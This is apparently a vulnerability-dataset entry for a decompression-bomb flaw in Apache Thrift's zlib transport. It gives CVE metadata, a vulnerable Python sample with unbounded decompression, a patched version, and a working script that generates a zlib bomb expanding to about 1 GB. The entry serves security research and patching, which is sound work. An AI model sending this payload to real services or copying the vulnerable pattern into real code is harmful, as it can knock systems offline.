CVE-2026-48586
A data amplification vulnerability in Apache Thrift may lead to Denial of Service.
- CVSS 8.7
- 409
- Resource Management
- Remote
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift C++, Java, Python, Go, D, C/GLib bindings. This issue affects Apache Thrift: before 0.24.0. Users are recommended to upgrade to version 0.24.0, which fixes the issue.
- CWE
- 409
- CVSS base score
- 8.7
- Published
- 2026-07-27
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Fixed by upgrading
- Yes
Solution
Upgrade Apache Thrift to version 0.24.0.
Vulnerable code sample
import zlib
import struct
from io import BytesIO
from thrift.transport.TTransport import TTransportBase, TTransportException
class TZlibTransport(TTransportBase):
"""Transport that wraps another, compressing/decompressing with zlib."""
def __init__(self, trans):
self._trans = trans
self._rbuf = BytesIO()
def _read_frame(self):
"""Reads a single zlib-compressed frame from the underlying transport."""
header = self._trans.readAll(4)
(sz,) = struct.unpack("!i", header)
if sz < 0:
raise TTransportException(TTransportException.NEGATIVE_SIZE)
compressed = self._trans.readAll(sz)
# VULNERABLE: A small compressed payload can decompress to a huge size,
# exhausting memory and causing a Denial of Service (DoS).
uncompressed = zlib.decompress(compressed)
self._rbuf = BytesIO(uncompressed)
# other methods omitted for brevityPatched code sample
import zlib
import struct
from io import BytesIO
from thrift.transport.TTransport import TTransportBase, TTransportException
MAX_UNCOMPRESSED_DATA_SIZE = 100 * 1024 * 1024 # 100MB
class TZlibTransport(TTransportBase):
"""Transport that wraps another, compressing/decompressing with zlib."""
def __init__(self, trans):
self._trans = trans
self._rbuf = BytesIO()
def _read_frame(self):
"""Reads a single zlib-compressed frame from the underlying transport."""
header = self._trans.readAll(4)
(sz,) = struct.unpack("!i", header)
if sz < 0:
raise TTransportException(TTransportException.NEGATIVE_SIZE)
compressed = self._trans.readAll(sz)
# FIX: Enforce a maximum size on decompressed data using max_length to
# prevent a decompression bomb from exhausting system memory.
try:
decompressor = zlib.decompressobj()
uncompressed = decompressor.decompress(compressed, MAX_UNCOMPRESSED_DATA_SIZE)
if decompressor.unconsumed_tail or decompressor.flush():
raise zlib.error("Compressed data exceeds size limit")
except zlib.error as e:
raise TTransportException(TTransportException.SIZE_LIMIT, f"Decompression error: {e}")
self._rbuf = BytesIO(uncompressed)
# other methods omitted for brevityPayload
import zlib
import sys
# The goal is to create a small, compressed payload that decompresses to a very large size.
# This exploits data amplification vulnerabilities where a server decodes compressed data
# without sufficient limits, leading to excessive memory allocation and a Denial of Service.
# Target uncompressed size: 1 GB
# Using a single repeating byte (null byte) is extremely compressible.
UNCOMPRESSED_SIZE_IN_GB = 1
uncompressed_size = UNCOMPRESSED_SIZE_IN_GB * 1024 * 1024 * 1024
# For memory efficiency, we generate and compress in chunks.
# Using zlib's compression object for streaming compression.
compressor = zlib.compressobj(level=9)
# Define a chunk of repeating data to feed into the compressor.
CHUNK_SIZE = 1024 * 1024 # 1 MB
repeating_chunk = b'\x00' * CHUNK_SIZE
compressed_data_parts = []
# Feed the compressor with chunks until the target uncompressed size is reached.
bytes_fed = 0
while bytes_fed < uncompressed_size:
compressed_data_parts.append(compressor.compress(repeating_chunk))
bytes_fed += CHUNK_SIZE
# Finalize the compression stream.
compressed_data_parts.append(compressor.flush())
# Join the parts to form the final payload.
amplification_payload = b"".join(compressed_data_parts)
# Save the payload to a file. This binary file is the payload.
# It would be sent as the body of a Thrift message over a compressed transport.
with open('amplification_payload.bin', 'wb') as f:
f.write(amplification_payload)
# (Optional) Print stats to show the amplification factor.
# sys.stdout.write(f"Original data size: {uncompressed_size / (1024*1024*1024):.2f} GB\n")
# sys.stdout.write(f"Compressed payload size: {len(amplification_payload) / 1024:.2f} KB\n")
# sys.stdout.write("Payload saved to 'amplification_payload.bin'\n")
Cite this entry
@misc{vaitp:cve202648586,
title = {{A data amplification vulnerability in Apache Thrift may lead to Denial of Service.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-48586},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48586/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
